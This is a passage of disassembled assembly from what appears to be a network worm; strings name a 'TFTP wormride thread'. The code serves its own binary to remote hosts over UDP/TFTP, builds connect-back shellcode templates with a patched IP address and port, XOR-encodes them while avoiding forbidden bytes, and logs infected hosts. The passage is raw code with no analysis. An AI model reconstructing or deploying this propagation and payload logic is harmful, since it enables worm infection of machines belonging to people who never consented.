sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EB10 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EB14 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DAB4 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EB1C, 0 jnz loc_4128A0 mov dword_41EB1C, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA68[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA68[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EB20, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EB20, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41EC40 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCF6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DAB4 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC64 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC68 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EB24 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC6C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call 